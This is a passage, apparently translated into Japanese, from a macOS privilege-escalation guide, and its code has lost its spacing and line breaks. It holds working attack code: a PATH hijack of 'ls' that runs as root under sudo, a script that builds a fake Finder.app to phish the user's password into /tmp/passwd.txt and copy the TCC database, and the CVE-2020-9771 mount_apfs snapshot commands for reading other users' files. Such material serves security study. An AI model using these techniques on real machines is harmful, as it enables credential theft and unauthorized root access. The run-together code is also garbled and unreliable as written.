# Let's hijack ls in /opt/homebrew/bin, as this is usually already in the users PATHcat>/opt/homebrew/bin/ls<<EOF#!/bin/bashif [ "\$(id -u)" -eq 0 ]; thenwhoami > /tmp/privescfi/bin/ls "\$@"EOFchmod+x/opt/homebrew/bin/ls# victimsudols
Finderに新しい**sudoファイルを/etc/pam.d**にコピーするように要求します(パスワードを求めるプロンプトには"Finder wants to copy sudo"と表示されます)
新しい認証プラグインをコピーするようにFinderに要求します(ファイル名を制御できるため、パスワードを求めるプロンプトには"Finder wants to copy Finder.bundle"と表示されます)
#!/bin/sh# THIS REQUIRES Finder TO BE INSTALLED (TO COPY THE ICON)# If you want to removed granted TCC permissions: > delete from access where client LIKE '%finder%';rm-rf/tmp/Finder.app/2>/dev/null# Create App structuremkdir-p/tmp/Finder.app/Contents/MacOSmkdir-p/tmp/Finder.app/Contents/Resources# Payload to executecat>/tmp/Finder.app/Contents/MacOS/Finder.c<<EOF#include <stdio.h>#include <stdlib.h>#include <unistd.h>int main() {char *cmd = "open /System/Library/CoreServices/Finder.app & ""sleep 2; ""osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Finder needs to update some components. Enter your password:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"System:Library:CoreServices:Finder.app:Contents:Resources:Finder.icns\")' -e 'end tell' -e 'return userPassword'); "
"echo \$PASSWORD > /tmp/passwd.txt";system(cmd);return 0;}EOFgcc/tmp/Finder.app/Contents/MacOS/Finder.c-o/tmp/Finder.app/Contents/MacOS/Finderrm-rf/tmp/Finder.app/Contents/MacOS/Finder.cchmod+x/tmp/Finder.app/Contents/MacOS/Finder# Info.plistcat<<EOF> /tmp/Finder.app/Contents/Info.plist<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN""http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plist version="1.0"><dict><key>CFBundleExecutable</key><string>Finder</string><key>CFBundleIdentifier</key><string>com.apple.finder</string><key>CFBundleName</key><string>Finder</string><key>CFBundleVersion</key><string>1.0</string><key>CFBundleShortVersionString</key><string>1.0</string><key>CFBundleInfoDictionaryVersion</key><string>6.0</string><key>CFBundlePackageType</key><string>APPL</string><key>CFBundleIconFile</key><string>app</string></dict></plist>EOF# Copy icon from Findercp/System/Library/CoreServices/Finder.app/Contents/Resources/Finder.icns/tmp/Finder.app/Contents/Resources/app.icns# Add to Dockdefaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Finder.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
sleep0.1killallDock
TCC - ルート権限昇格
CVE-2020-9771 - mount_apfs TCC バイパスと権限昇格
どんなユーザー(特権を持たないユーザーでも)がタイムマシンのスナップショットを作成し、マウントし、そのスナップショットのすべてのファイルにアクセスできます。
唯一の特権は、使用されるアプリケーション(例:Terminal)がFull Disk Access(FDA)アクセス(kTCCServiceSystemPolicyAllfiles)を持つ必要があり、これは管理者によって許可される必要があります。
# Create snapshottmutillocalsnapshot# List snapshotstmutillistlocalsnapshots/Snapshotsfordisk/:com.apple.TimeMachine.2023-05-29-001751.local# Generate folder to mount itcd/tmp# I didn it from this foldermkdir/tmp/snap# Mount it, "noowners" will mount the folder so the current user can access everything/sbin/mount_apfs-onoowners-scom.apple.TimeMachine.2023-05-29-001751.local/System/Volumes/Data/tmp/snap# Access itls/tmp/snap/Users/admin_user# This will work